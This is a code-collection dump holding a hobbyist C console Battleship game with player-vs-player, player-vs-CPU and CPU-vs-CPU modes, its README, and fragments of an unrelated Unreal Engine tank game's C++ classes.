<file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #include <ctype.h> #include <unistd.h> #include <time.h> #define WHITE 7 #define BLUE 3 #define LBLUE 9 #define RED 4 #define GREEN 2 #define LGREEN 10 #define YELLOW 6 typedef struct { char N_SHIP [25]; int SIZE; } SHIP; HANDLE wHnd; HANDLE rHnd; void SetColor(int ForgC); int MENU (void); void SHOW1 (int m_n1 [10][10], int m_n2 [10][10], int T); void SHOW2 (int m_n1 [10][10], int m_n2 [10][10], int T); void SHOW3 (int m_n1 [10][10], int m_n2 [10][10]); int WATER (int m_n1 [10][10], int m_n2 [10][10], int A, int B, int C, int D, int E, int TURN); int SHOT (int m_n1 [10][10], int m_n2 [10][10], int T, int i, int j); void FILL_PVP (int m_n1 [10][10], int m_n2 [10][10]); //PVP --> Player Vs Player void FILL_PVC (int m_n1 [10][10], int m_n2 [10][10]); //PVC --> Player Vs Cpu void FILL_CVC (int m_n1 [10][10], int m_n2 [10][10]); //CVC --> CPU vs CPU void SINK (int m_n1 [10][10], int m_n2 [10][10], int T); void GAME_PVP (int m_n1 [10][10],int m_n2 [10][10]); void GAME_PVC (int m_n1 [10][10],int m_n2 [10][10]); void GAME_CVC (int m_n1 [10][10],int m_n2 [10][10]); int main (int argc, char* argv[]) { int M_N1 [10][10], M_N2[10][10], turn = 0, flag = 0, M = 0, i, j; char D; wHnd = GetStdHandle(STD_OUTPUT_HANDLE); rHnd = GetStdHandle(STD_INPUT_HANDLE); SetConsoleTitle("BATTLESHIPS by Zeby"); SMALL_RECT windowSize = {0, 0, 100, 600}; //CONSOLE SIZE SetConsoleWindowInfo(wHnd, 1, &windowSize); while (flag == 0) { for (i = 0; i < 10; i++) { for (j = 0; j < 10; j++) { M_N1 [i][j] = 0; M_N2 [i][j] = 0; } } M = MENU (); srand(time(NULL)); switch (M) { case 1: FILL_PVP (M_N1, M_N2); GAME_PVP (M_N1, M_N2); break; case 2: FILL_PVC (M_N1, M_N2); GAME_PVC (M_N1, M_N2); break; case 3: FILL_CVC (M_N1, M_N2); GAME_CVC (M_N1, M_N2); break; } do { fflush (stdin); SetColor (WHITE); printf ("\n\n\t\tDo you want to play again ? (Y/N): "); scanf ("%c", &D); tolower (D); } while ((D != 'y') && (D != 'n')); if (D == 'y') { flag = 0; } else { flag = 1; exit (0); } } SetColor (WHITE); system ("pause"); } void SetColor(int ForgC) { //FUNCTION TO SET COLOR IN CONSOLE WORD wColor; HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_SCREEN_BUFFER_INFO csbi; if(GetConsoleScreenBufferInfo(hStdOut, &csbi)) { wColor = (csbi.wAttributes & 0xF0) + (ForgC & 0x0F); SetConsoleTextAttribute(hStdOut, wColor); } return; } int MENU (void) { int D = 0; do { system ("cls"); SetColor (BLUE); printf ("\n\n\t\t\tWelcome to Battlehips!\n\n"); SetColor (RED); printf ("\n\nChoose an option:\n\t1) Player vs player.\n\t2) Player vs CPU.\n\t3) CPU vs CPU."); SetColor (WHITE); printf ("\n\nDecision: "); scanf ("%d", &D); } while ((D < 1) || (D > 3)); return D; } //MOVEMENTS CHECK AND FILL THE BOARD int WATER (int m_n1 [10][10], int m_n2 [10][10], int A, int B, int C, int D, int E, int TURN) { int i = 0, flag = 0; if (((A == C) || (B == D)) && ((A - C == E) || (C - A == E) || (B - D == E) || (D - B == E))) { //CHECKS USER INPUT if ((A == C) && (B > D)) { //CHECK DOWN if (TURN == 0) { for (i = B; i > D; i--) { if (m_n1 [i][A] == 0) { flag++; } else { flag--; } } if (flag == E) { //FLAG HAS TO BE EQUAL TO E (SIZE OF SHIP) TO CHECK IF THE POSITION ISN'T TAKEN for (i = B; i > D; i--) { m_n1 [i][A] = E; } return 1; } else { return 0; } } else { for (i = B; i > D; i--) { if (m_n2 [i][A] == 0) { flag++ ; } else { flag--; } } if (flag == E) { for (i = B; i > D; i--) { m_n2 [i][A] = E; } return 1; } else { return 0; } } } else if ((A == C) && (D > B)) { //CHECK UP if (TURN == 0) { for (i = B; i < D; i++) { if (m_n1 [i][A] == 0) { flag++; } else { flag--; } } if (flag == E) { for (i = B; i < D; i++) { m_n1 [i][A] = E; } return 1; } else { return 0; } } else { for (i = B; i < D; i++) { if (m_n2 [i][A] == 0) { flag++; } else { flag--; } } if (flag == E) { for (i = B; i < D; i++) { m_n2 [i][A] = E; } return 1; } else { return 0; } } } else if ((A > C) && (B == D)) { //CHECK LEFT if (TURN == 0) { for (i = A; i > C; i--) { if (m_n1 [B][i] == 0) { flag++; } else { flag--; } } if (flag == E) { for (i = A; i > C; i--) { m_n1 [B][i] = E; } return 1; } else { return 0; } } else { for (i = A; i > C; i--) { if (m_n2 [B][i] == 0) { flag++; } else { flag--; } } if (flag == E) { for (i = A; i > C; i--) { m_n2 [B][i] = E; } return 1; } else { return 0; } } } else if ((C > A) && (B == D)) { //CHECK RIGHT if (TURN == 0) { for (i = A; i < C; i++) { if (m_n1 [B][i] == 0) { flag++; } else { flag--; } } if (flag == E) { for (i = A; i < C; i++) { m_n1 [B][i] = E; } return 1; } else { return 0; } } else { for (i = A; i < C; i++) { if (m_n2 [B][i] == 0) { flag++; } else { flag--; } } if (flag == E) { for (i = A; i < C; i++) { m_n2 [B][i] = E; } return 1; } else { return 0; } } } } else { return 0; } } int SHOT (int m_n1 [10][10], int m_n2 [10][10], int T, int i, int j) { if ((i >=0) && (i <= 9) && (j >=0) && (j <= 9)) { if (T % 2 == 0) { if (((m_n2 [i][j] >= 2) && (m_n2 [i][j] <= 5)) || (m_n2 [i][j] == 0)) { if ((i >= 0) && (i <= 10) && (j >= 0) && (j <= 10)) { return 1; } } else { return 0; } } else { if (((m_n1 [i][j] >= 2) && (m_n1 [i][j] <= 5)) || (m_n1 [i][j] == 0)) { if ((i >= 0) && (i <= 10) && (j >= 0) && (j <= 10)){ return 1; } } else { return 0; } } } else { return 0; } } void SHOW1 (int m_n1 [10][10], int m_n2 [10][10], int T) { //SHOW FILL int i, j; if (T == 0) { SetColor(LGREEN); printf ("Player %d.\nW = Water with hit || H = Hit || X = Sink.\n\n", T+1); SetColor (WHITE); printf ("\t"); for (i = 0; i < 10; i++) { printf ("%d\t", i+1); } printf ("\n"); for (i = 0; i < 10; i++) { SetColor(WHITE); printf ("%d\t", i+1); for (j = 0; j < 10; j++) { if (m_n1 [i][j] == 0) { SetColor(LBLUE); printf ("*\t"); } else { SetColor(GREEN); printf ("B\t"); } } printf ("\n"); } printf ("\n\n"); } else { SetColor(WHITE); printf ("Player %d.\nW = Water || H = Hit || X = Sink.\n\n", T+1); printf ("\t"); for (i = 0; i < 10; i++) { printf ("%d\t", i+1); } printf ("\n"); for (i = 0; i < 10; i++) { SetColor(WHITE); printf ("%d\t", i+1); for (j = 0; j < 10; j++) { if (m_n2 [i][j] == 0) { SetColor(LBLUE); printf ("*\t"); } else { SetColor(GREEN); printf ("B\t"); } } printf ("\n"); } printf ("\n\n"); } } void SHOW2 (int m_n1 [10][10], int m_n2 [10][10], int T) { //SHOW GAME int i, j; if ((T - 1) % 2 == 0) { SetColor(LGREEN); printf ("Player 1.\t\t\t\t\t\t\t\tTurn: %d.\nW = Water || H = Hit || X = Sink.\n\nBoard of player 2.\n\n", T); SetColor(WHITE); printf ("\t"); for (i = 0; i < 10; i++) { printf ("%d\t", i+1); } printf ("\n"); for (i = 0; i < 10; i++) { SetColor(WHITE); printf ("%d\t", i+1); for (j = 0; j < 10; j++) { if ((m_n2 [i][j] >= -5) && (m_n2 [i][j] < -1)) { SetColor (YELLOW); printf ("H\t"); } else if (m_n2 [i][j] == 1) { SetColor (BLUE); printf ("W\t"); } else if (m_n2 [i][j] == -10) { SetColor (RED); printf ("X\t"); } else { SetColor (LBLUE); printf ("*\t"); } } printf ("\n"); } printf ("\n\n"); } else { SetColor(LGREEN); printf ("Player 2.\t\t\t\t\t\t\t\tTurn: %d.\nW = Water || H = Hit || X = Sink.\n\nBoard of player 1.\n\n", T); SetColor(WHITE); printf ("\t"); for (i = 0; i < 10; i++) { printf ("%d\t", i+1); } printf ("\n"); for (i = 0; i < 10; i++) { SetColor(WHITE); printf ("%d\t", i+1); for (j = 0; j < 10; j++) { if ((m_n1 [i][j] >= -5) && (m_n1 [i][j] < -1)) { SetColor (YELLOW); printf ("H\t"); } else if (m_n1 [i][j] == 1) { SetColor (BLUE); printf ("W\t"); } else if (m_n1 [i][j] == -10) { SetColor (RED); printf ("X\t"); } else { SetColor (LBLUE); printf ("*\t"); } } printf ("\n"); } printf ("\n\n"); } } void SHOW3 (int m_n1 [10][10], int m_n2 [10][10]) { //SHOW BOARD OF THE PLAYERS WHEN THE GAME HAS FINISHED int i, j; SetColor(LGREEN); printf ("Board of Player 1.\n\n"); SetColor(WHITE); printf ("\t"); for (i = 0; i < 10; i++) { printf ("%d\t", i+1); } printf ("\n"); for (i = 0; i < 10; i++) { SetColor(WHITE); printf ("%d\t", i+1); for (j = 0; j < 10; j++) { if ((m_n2 [i][j] >= -5) && (m_n2 [i][j] < -1)) { SetColor (YELLOW); printf ("H\t"); } else if (m_n2 [i][j] == 1) { SetColor (BLUE); printf ("W\t"); } else if (m_n2 [i][j] == -10) { SetColor (RED); printf ("X\t"); } else { SetColor (LBLUE); printf ("*\t"); } } printf ("\n"); } printf ("\n\n"); SetColor(LGREEN); printf ("Board of Player 2.\n\n"); SetColor(WHITE); printf ("\t"); for (i = 0; i < 10; i++) { printf ("%d\t", i+1); } printf ("\n"); for (i = 0; i < 10; i++) { SetColor(WHITE); printf ("%d\t", i+1); for (j = 0; j < 10; j++) { if ((m_n1 [i][j] >= -5) && (m_n1 [i][j] < -1)) { SetColor (YELLOW); printf ("H\t"); } else if (m_n1 [i][j] == 1) { SetColor (BLUE); printf ("W\t"); } else if (m_n1 [i][j] == -10) { SetColor (RED); printf ("X\t"); } else { SetColor (LBLUE); printf ("*\t"); } } printf ("\n"); } printf ("\n\n"); } void FILL_PVP (int m_n1 [10][10], int m_n2 [10][10]) { int i, j, fill = 0, x1, x2, y1, y2, flag = 0; //SHIPS SIZE. SHIP S[4]; //aircraft = 5, battleship = 4, cruiser = 3, submarine = 2; S[0].SIZE = 5; S[1].SIZE = 4; S[2].SIZE = 3; S[3].SIZE = 2; strcpy (S[0].N_SHIP, "Aircraft carrier"); strcpy (S[1].N_SHIP, "Battleship"); strcpy (S[2].N_SHIP, "Cruiser"); strcpy (S[3].N_SHIP, "Submarine"); while (fill < 2) { for (i = 0; i < 4; i++) { do { system ("cls"); SHOW1 (m_n1, m_n2, fill); SetColor(WHITE); printf ("%s (%d blocks)\n", S[i].N_SHIP, S[i].SIZE); printf ("\tInitial coordinate (L): "); scanf ("%d", &y1); y1--; printf ("\tInitial coordinate (C): "); scanf ("%d", &x1); x1--; printf ("\tEnd coordinate (L): "); scanf ("%d", &y2); y2--; printf ("\tEnd coordinate (C): "); scanf ("%d", &x2); x2--; } while (WATER (m_n1, m_n2, x1, y1, x2, y2, S[i].SIZE, fill) == 0); } system ("cls"); printf ("\t\tYour ships on the board are: \n\n"); SHOW1 (m_n1, m_n2, fill); sleep (5); fill++; } } void FILL_PVC (int m_n1 [10][10], int m_n2 [10][10]) { int rn, i, j, fill = 0, x1, x2, y1, y2, flag = 0; time_t t; SHIP S[4]; S[0].SIZE = 5; S[1].SIZE = 4; S[2].SIZE = 3; S[3].SIZE = 2; strcpy (S[0].N_SHIP, "Aircraft carrier"); strcpy (S[1].N_SHIP, "Battleship"); strcpy (S[2].N_SHIP, "Cruiser"); strcpy (S[3].N_SHIP, "Submarine"); while (fill < 2) { for (i = 0; i < 4; i++) { do { if (fill == 0) { system ("cls"); SHOW1 (m_n1, m_n2, fill); SetColor(WHITE); printf ("%s (%d blocks)\n", S[i].N_SHIP, S[i].SIZE); printf ("\tInitial coordinate (L): "); scanf ("%d", &y1); y1--; printf ("\tInitial coordinate (C): "); scanf ("%d", &x1); x1--; printf ("\tEnd coordinate (L): "); scanf ("%d", &y2); y2--; printf ("\tEnd coordinate (C): "); scanf ("%d", &x2); x2--; } else if (fill == 1) { do { rn = rand () % 10; if (rn < 10) { y1 = rn; } } while (y1 + S[i].SIZE > 9); do { rn = rand () % 10; if (rn < 10) { x1 = rn; } } while (x1 + S[i].SIZE > 9); do { rn = rand () % 4; if (rn == 0) { y2 = y1 - S[i].SIZE; x2 = x1; } else if (rn == 1) { y2 = y1 + S[i].SIZE; x2 = x1; } else if (rn == 2) { x2 = x1 + S[i].SIZE; y2 = y1; } else if (rn == 3) { x2 = x1 - S[i].SIZE; y2 = y1; } } while (((x2 < 0) || (x2 > 9)) || ((y2 < 0) || (y2 > 9))) ; } } while (WATER (m_n1, m_n2, x1, y1, x2, y2, S[i].SIZE, fill) == 0); } system ("cls"); if (fill == 0) { printf ("\t\tYour ships on the board are: \n\n"); SHOW1 (m_n1, m_n2, fill); } system ("cls"); /* SetColor (RED); printf ("\n\n\n\n\t\t\tLoading..."); sleep (3); */ fill++; } } void FILL_CVC (int m_n1 [10][10], int m_n2 [10][10]) { int rn, i, j, fill = 0, x1, x2, y1, y2, flag = 0; time_t t; SHIP S[4]; S[0].SIZE = 5; S[1].SIZE = 4; S[2].SIZE = 3; S[3].SIZE = 2; strcpy (S[0].N_SHIP, "Aircraft carrier"); strcpy (S[1].N_SHIP, "Battleship"); strcpy (S[2].N_SHIP, "Cruiser"); strcpy (S[3].N_SHIP, "Submarine"); while (fill < 2) { for (i = 0; i < 4; i++) { do { if (fill == 0) { system ("cls"); do { rn = rand () % 10; if (rn < 10) { y1 = rn; } } while (y1 + S[i].SIZE > 9); do { rn = rand () % 10; if (rn < 10) { x1 = rn; } } while (x1 + S[i].SIZE > 9); do { rn = rand () % 4; if (rn == 0) { y2 = y1 - S[i].SIZE; x2 = x1; } else if (rn == 1) { y2 = y1 + S[i].SIZE; x2 = x1; } else if (rn == 2) { x2 = x1 + S[i].SIZE; y2 = y1; } else if (rn == 3) { x2 = x1 - S[i].SIZE; y2 = y1; } } while (((x2 < 0) || (x2 > 9)) || ((y2 < 0) || (y2 > 9))) ; } else if (fill == 1) { do { rn = rand () % 10; if (rn < 10) { y1 = rn; } } while (y1 + S[i].SIZE > 9); do { rn = rand () % 10; if (rn < 10) { x1 = rn; } } while (x1 + S[i].SIZE > 9); do { rn = rand () % 4; if (rn == 0) { y2 = y1 - S[i].SIZE; x2 = x1; } else if (rn == 1) { y2 = y1 + S[i].SIZE; x2 = x1; } else if (rn == 2) { x2 = x1 + S[i].SIZE; y2 = y1; } else if (rn == 3) { x2 = x1 - S[i].SIZE; y2 = y1; } } while (((x2 < 0) || (x2 > 9)) || ((y2 < 0) || (y2 > 9))) ; } } while (WATER (m_n1, m_n2, x1, y1, x2, y2, S[i].SIZE, fill) == 0); } fill++; } system ("cls"); i = 0; printf ("\t\tBoard of CPU 1:\n\n"); SHOW1 (m_n1, m_n2, i); sleep (4); i++; system ("cls"); SetColor (WHITE); printf ("\t\tBoard of CPU 2:\n\n"); SHOW1 (m_n1, m_n2, i); sleep (4); } void SINK (int m_n1 [10][10], int m_n2 [10][10], int T) { //CHECKS FOR SHIPS SINK. int i, j; if (T % 2 == 0) { for (i = 0; i < 10; i++) { for (j = 0; j < 10; j++) { if ((m_n2 [i][j] == -5) && (m_n2 [i][j+1] == -5) && (m_n2 [i][j+2] == -5) && (m_n2 [i][j+3] == -5) && (m_n2 [i][j+4] == -5)) { m_n2 [i][j] = -10; m_n2 [i][j+1] = -10; m_n2 [i][j+2] = -10; m_n2 [i][j+3] = -10; m_n2 [i][j+4] = -10; } else if ((m_n2 [i][j] == -5) && (m_n2 [i+1][j] == -5) && (m_n2 [i+2][j] == -5) && (m_n2 [i+3][j] == -5) && (m_n2 [i+4][j] == -5)) { m_n2 [i][j] = -10; m_n2 [i+1][j] = -10; m_n2 [i+2][j] = -10; m_n2 [i+3][j] = -10; m_n2 [i+4][j] = -10; } if ((m_n2 [i][j] == -4) && (m_n2 [i][j+1] == -4) && (m_n2 [i][j+2] == -4) && (m_n2 [i][j+3] == -4)) { m_n2 [i][j] = -10; m_n2 [i][j+1] = -10; m_n2 [i][j+2] = -10; m_n2 [i][j+3] = -10; } else if ((m_n2 [i][j] == -4) && (m_n2 [i+1][j] == -4) && (m_n2 [i+2][j] == -4) && (m_n2 [i+3][j] == -4)) { m_n2 [i][j] = -10; m_n2 [i+1][j] = -10; m_n2 [i+2][j] = -10; m_n2 [i+3][j] = -10; } if ((m_n2 [i][j] == -3) && (m_n2 [i][j+1] == -3) && (m_n2 [i][j+2] == -3)) { m_n2 [i][j] = -10; m_n2 [i][j+1] = -10; m_n2 [i][j+2] = -10; } else if ((m_n2 [i][j] == -3) && (m_n2 [i+1][j] == -3) && (m_n2 [i+2][j] == -3)) { m_n2 [i][j] = -10; m_n2 [i+1][j] = -10; m_n2 [i+2][j] = -10; } if ((m_n2 [i][j] == -2) && (m_n2 [i][j+1] == -2)) { m_n2 [i][j] = -10; m_n2 [i][j+1] = -10; } else if ((m_n2 [i][j] == -2) && (m_n2 [i+1][j] == -2)) { m_n2 [i][j] = -10; m_n2 [i+1][j] = -10; } } } } else { for (i = 0; i < 10; i++) { for (j = 0; j < 10; j++) { if ((m_n1 [i][j] == -5) && (m_n1 [i][j+1] == -5) && (m_n1 [i][j+2] == -5) && (m_n1 [i][j+3] == -5) && (m_n1 [i][j+4] == -5)) { m_n1 [i][j] = -10; m_n1 [i][j+1] = -10; m_n1 [i][j+2] = -10; m_n1 [i][j+3] = -10; m_n1 [i][j+4] = -10; } else if ((m_n1 [i][j] == -5) && (m_n1 [i+1][j] == -5) && (m_n1[i+2][j] == -5) && (m_n1 [i+3][j] == -5) && (m_n1 [i+4][j] == -5)) { m_n1 [i][j] = -10; m_n1 [i+1][j] = -10; m_n1 [i+2][j] = -10; m_n1 [i+3][j] = -10; m_n1 [i+4][j] = -10; } if ((m_n1 [i][j] == -4) && (m_n1 [i][j+1] == -4) && (m_n1 [i][j+2] == -4) && (m_n1 [i][j+3] == -4)) { m_n1 [i][j] = -10; m_n1 [i][j+1] = -10; m_n1 [i][j+2] = -10; m_n1 [i][j+3] = -10; } else if ((m_n1 [i][j] == -4) && (m_n1 [i+1][j] == -4) && (m_n1 [i+2][j] == -4) && (m_n1 [i+3][j] == -4)) { m_n1 [i][j] = -10; m_n1 [i+1][j] = -10; m_n1 [i+2][j] = -10; m_n1 [i+3][j] = -10; } if ((m_n1 [i][j] == -3) && (m_n1 [i][j+1] == -3) && (m_n1 [i][j+2] == -3)) { m_n1 [i][j] = -10; m_n1 [i][j+1] = -10; m_n1 [i][j+2] = -10; } else if ((m_n2 [i][j] == -3) && (m_n1 [i+1][j] == -3) && (m_n1 [i+2][j] == -3)) { m_n1 [i][j] = -10; m_n1 [i+1][j] = -10; m_n1 [i+2][j] = -10; } if ((m_n1 [i][j] == -2) && (m_n1 [i][j+1] == -2)) { m_n1 [i][j] = -10; m_n1 [i][j+1] = -10; } else if ((m_n1 [i][j] == -2) && (m_n1 [i+1][j] == -2)) { m_n1 [i][j] = -10; m_n1 [i+1][j] = -10; } } } } } void GAME_PVP (int m_n1 [10][10],int m_n2 [10][10]) { int TURN = 0, y, x, PLAYER = 0, i = 0, j = 0, P1 = 0, P2 = 0; while (PLAYER == 0) { do { system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); printf ("Time to shoot!\n"); printf ("\tLine: "); scanf ("%d", &y); printf ("\tColumn: "); scanf ("%d", &x); if (((y >= 1) || (y <= 10)) && ((x >= 1) || (x <= 10))) { y--; x--; } } while (SHOT (m_n1, m_n2, TURN, y, x) == 0); if (TURN % 2 == 0) { if ((m_n2 [y][x] > 1) && (m_n2 [y][x] <= 5)) { P2--; m_n2 [y][x] *= -1; //MULTIPLY POS WITH -1 FOR HITS } else if (m_n2 [y][x] == 0) { m_n2 [y][x] = 1; //1 FOR WATER } } else { if ((m_n1 [y][x] > 1) && (m_n1 [y][x] <= 5)) { P1--; m_n1 [y][x] *= -1; } else if (m_n1 [y][x] == 0) { m_n1 [y][x] = 1; } } if (P1 == -14) { PLAYER = -1; } else if (P2 == -14) { PLAYER = -2; } SINK (m_n1, m_n2, TURN); if (PLAYER == 0) { system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (YELLOW); printf ("\t\t\tCHECK YOUR SHOT\n\n"); sleep (3); TURN ++; } } if ((PLAYER == -1) || (PLAYER == -2)) { system ("cls"); SHOW3 (m_n1, m_n2); sleep (3); } if (PLAYER == -1) { system ("cls"); SetColor (YELLOW); printf ("\n\n\t\t Player 2 is the winner!\n"); sleep (3); } else if (PLAYER == -2) { system ("cls"); SetColor (YELLOW); printf ("\n\n\t\t Player 1 is the winner!\n"); sleep (3); } } void GAME_PVC (int m_n1 [10][10], int m_n2 [10][10]) { int TURN = 0, y, x, PLAYER = 0, i = 0, j = 0, P1 = 0, P2 = 0, flag = 1; int flagM = -1, flagH = 0, xA, yA, xA1, yA1, U = 0, CH = 0, size; //CH --> Allos the re-assign of the original positions while (PLAYER == 0) { //xA and yA pos from AI //xA1 and yA1 original pos if there was a hit if (TURN % 2 == 0) { do { system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); printf ("Time to shoot!\n"); printf ("\tLine: "); scanf ("%d", &y); printf ("\tColumn: "); scanf ("%d", &x); if (((y >= 1) || (y <= 10)) && ((x >= 1) || (x <= 10))) { y--; x--; } } while (SHOT (m_n1, m_n2, TURN, y, x) == 0); } else { U++; flag = 0; if (flagM == -1) { //flagM = -1 ---> No ship discovered system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); xA = ((rand () % 5)*2) + 1; yA = ((rand () % 5)*2) + 1; } else { system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); if (CH == 0) { xA = xA1; yA = yA1; } if (flagH == 0) { //flagH = 0 ---> Down xA++; } else if (flagH == 1) { //flagH = 1 ---> Up xA--; } else if (flagH == 2) { //flagH = 2 ---> Left yA--; } else if (flagH == 3) { //flagH = 3 ---> Right yA++; } } } if (TURN % 2 == 0) { if ((m_n2 [y][x] >= 2) && (m_n2 [y][x] <= 5)) { P2--; m_n2 [y][x] *= -1; //MULTIPLY POS WITH -1 FOR HITS } else if (m_n2 [y][x] == 0) { m_n2 [y][x] = 1; //1 FOR WATER } } else { if ((m_n1 [yA][xA] >= 2) && (m_n1 [yA][xA] <= 5)) { P1--; //Size is for controlling the ship which is shooting and if they are beside CH++; if (flagM == -1) { flagM = 1; xA1 = xA; yA1 = yA; size = m_n1 [yA][xA]; } m_n1 [yA][xA] *= -1; } else if (m_n1 [yA][xA] == 0) { m_n1 [yA][xA] = 1; if (flagM == 1) { flagH++; } CH = 0; if (flagH == 4) { flagH = 0; } } } if (P1 == -14) { PLAYER = -1; } else if (P2 == -14) { PLAYER = -2; } SINK (m_n1, m_n2, TURN); if (m_n1 [yA][xA] == -10) { flagM = -1; flagH = 0; CH = 0; } system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (YELLOW); printf ("\t\t\tCHECK YOUR SHOT\n\n"); printf ("\tLine: %d\tCol: %d\tLoop: :%d\tHit: %d\tMovement: %d", yA+1, xA+1, U, flagH, flagM); //This print is for checking random numbers shots SetColor (YELLOW); sleep (3); TURN ++; } if ((PLAYER == -1) || (PLAYER == -2)) { system ("cls"); SHOW3 (m_n1, m_n2); sleep (3); } if (PLAYER == -1) { system ("cls"); SetColor (YELLOW); printf ("\n\n\t\t CPU is the winner!\n"); sleep (3); } else if (PLAYER == -2) { system ("cls"); SetColor (YELLOW); printf ("\n\n\t\t Player 1 is the winner!\n"); sleep (3); } } //BUGS EVERYWHERE void GAME_CVC (int m_n1 [10][10],int m_n2 [10][10]) { int TURN = 0, y, x, PLAYER = 0, flag = 0, i = 0, j = 0, P1 = 0, P2 = 0, size; int flagM1 = -1, flagH1 = 0, flagM2 = -1, flagH2 = 0, xA, yA, xB, yB, xA1, yA1, xB1, yB1; //CH --> Allos the re-assign of the original positions while (PLAYER == 0) { //xA and yA pos from AI //xA1 and yA1 original pos if there was a hit if (TURN % 2 == 0) { if (flagM2 == -1) { //flagM = -1 ---> No ship discovered system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); xB = ((rand () % 5)*2) + 1; yB = ((rand () % 5)*2) + 1; } else { system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); if (flagH2 == 0) { //flagH = 0 ---> Down xB++; } else if (flagH2 == 1) { //flagH = 1 ---> Up xB--; } else if (flagH2 == 2) { //flagH = 2 ---> Left yB--; } else if (flagH2 == 3) { //flagH = 3 ---> Right yB++; } } } else { if (flagM1 == -1) { //flagM = -1 ---> No ship discovered system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); xA = ((rand () % 5)*2) + 1; yA = ((rand () % 5)*2) + 1; } else { system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (WHITE); if (flagH1 == 0) { //flagH = 0 ---> Down xA++; } else if (flagH1 == 1) { //flagH = 1 ---> Up xA--; } else if (flagH1 == 2) { //flagH = 2 ---> Left yA--; } else if (flagH1 == 3) { //flagH = 3 ---> Right yA++; } } } if (TURN % 2 == 0) { if ((m_n2 [yB][xB] >= 2) && (m_n2 [yB][xB] <= 5)) { P2--; //Size is for controlling the ship which is shooting and if they are beside if (flagM2 == -1) { flagM2 = 1; xB1 = xB; yB1 = yB; size = m_n2 [yB][xB]; } m_n2 [yB][xB] *= -1; } else if (m_n2 [yB][xB] == 0) { m_n2 [yB][xB] = 1; if (flagM2 == 1) { flagH2++; } if (flagH2 == 4) { flagH2 = 0; } } } else { if ((m_n1 [yA][xA] >= 2) && (m_n1 [yA][xA] <= 5)) { P1--; //Size is for controlling the ship which is shooting and if they are beside if (flagM1 == -1) { flagM1 = 1; xA1 = xA; yA1 = yA; size = m_n1 [yA][xA]; } m_n1 [yA][xA] *= -1; } else if (m_n1 [yA][xA] == 0) { m_n1 [yA][xA] = 1; if (flagM1 == 1) { flagH1++; } if (flagH1 == 4) { flagH1 = 0; } } } if (P1 == -14) { PLAYER = -1; } else if (P2 == -14) { PLAYER = -2; } SINK (m_n1, m_n2, TURN); if (TURN % 2 == 0) { if (m_n1 [yA][xA] == -10) { flagM2 = -1; flagH2 = 0; } } else { if (m_n2 [yB][xB] == -10) { flagM1 = -1; flagH1= 0; } } system ("cls"); SHOW2 (m_n1, m_n2, TURN+1); SetColor (YELLOW); printf ("\t\t\tCHECK YOUR SHOT\n\n"); sleep (3); TURN ++; } if ((PLAYER == -1) || (PLAYER == -2)) { system ("cls"); SHOW3 (m_n1, m_n2); sleep (3); } if (PLAYER == -1) { system ("cls"); SetColor (YELLOW); printf ("\n\n\t\t CPU 2 is the winner!\n"); sleep (3); } else if (PLAYER == -2) { system ("cls"); SetColor (YELLOW); printf ("\n\n\t\t CPU 1 is the winner!\n"); sleep (3); } } <file_sep># Battleship First big project for me. The task is to code a battleship that can be played by two players or setting an AI which plays against a player. May be with bugs, I don't have much time to be constant due to the University, if any suggestions appear I will apreciate it. - [X] Menu. - [X] Have two boards filled without problems. - [X] Ready to play PVP. - [X] AI fills the board. - [X] Ready to play PVC. - [ ] Ready to spectate CVC. EDIT 23/10/16: * Many bugs had been solved. Basics of AI had been implemented for completing the board. * Next step is to set the AI to play against a human. EDIT 29/10/16: * Function of checking for ships sinked is running. * **You can play PVP (Player vs Player) now.** EDIT 30/10/16: * Added CPU vs CPU, the function of filling the board for both AI runs but there is a big bug for the function of the game, I didn't found the bug yet. EDIT 9/1/17: * There are some details to fix but the Battleship is playable now!
719410f601875fe7e15364999ca3fa74d23d6382
[ "Markdown", "C" ]
2
C
Zeby95/Battleship
d02b2f0e70764f67d6de6df9674286979f9ffc29
3f4cddde279f9009b30a283f76e266c265569e33
refs/heads/master
<file_sep>// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "Components/StaticMeshComponent.h" #include "TankTurret.generated.h" /** * Class controlling the turret of the tank. Used for aiming */ UCLASS( ClassGroup = (Custom), meta = (BlueprintSpawnableComponent) ) class BATTLETANK_API UTankTurret : public UStaticMeshComponent { GENERATED_BODY() public: // Rotates turret at a speed relative to its max speed void Rotate(float RelativeSpeed); private: // Maximum speed at which turret can rotate to aim UPROPERTY(EditDefaultsOnly, Category = Setup) float MaxDegreesPerSecond = 20.0; }; <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "Engine/World.h" #include "CoreMinimal.h" #include "AIController.h" #include "TankAIController.generated.h" /** * Controls AI tanks movement and firing */ UCLASS() class BATTLETANK_API ATankAIController : public AAIController { GENERATED_BODY() public: // Called when the game starts or when spawned virtual void BeginPlay() override; // Called every frame virtual void Tick(float DeltaTime) override; // How far from player tank the AI tank stops UPROPERTY(EditDefaultsOnly, Category = Setup) float StopRadius = 8000.0; private: // Used to initialize broadcast for death virtual void SetPawn(APawn *InPawn) override; // On death handler UFUNCTION() void OnPossessedTankDeath(); // Aims AI tanks and Fires if locked on target void AimAndFire(); }; <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #include "TankTurret.h" void UTankTurret::Rotate(float RelativeSpeed) { auto ClampedSpeed = FMath::Clamp(RelativeSpeed, -1.f, 1.f); auto RotationChange = ClampedSpeed * MaxDegreesPerSecond * GetWorld()->DeltaTimeSeconds; // Per Frame auto NewRotation = RelativeRotation.Yaw + RotationChange; SetRelativeRotation(FRotator(0, NewRotation, 0)); } <file_sep>// Copyright <NAME> #pragma once #include "CoreMinimal.h" #include "Components/SceneComponent.h" #include "Engine/World.h" #include "Kismet/GameplayStatics.h" #include 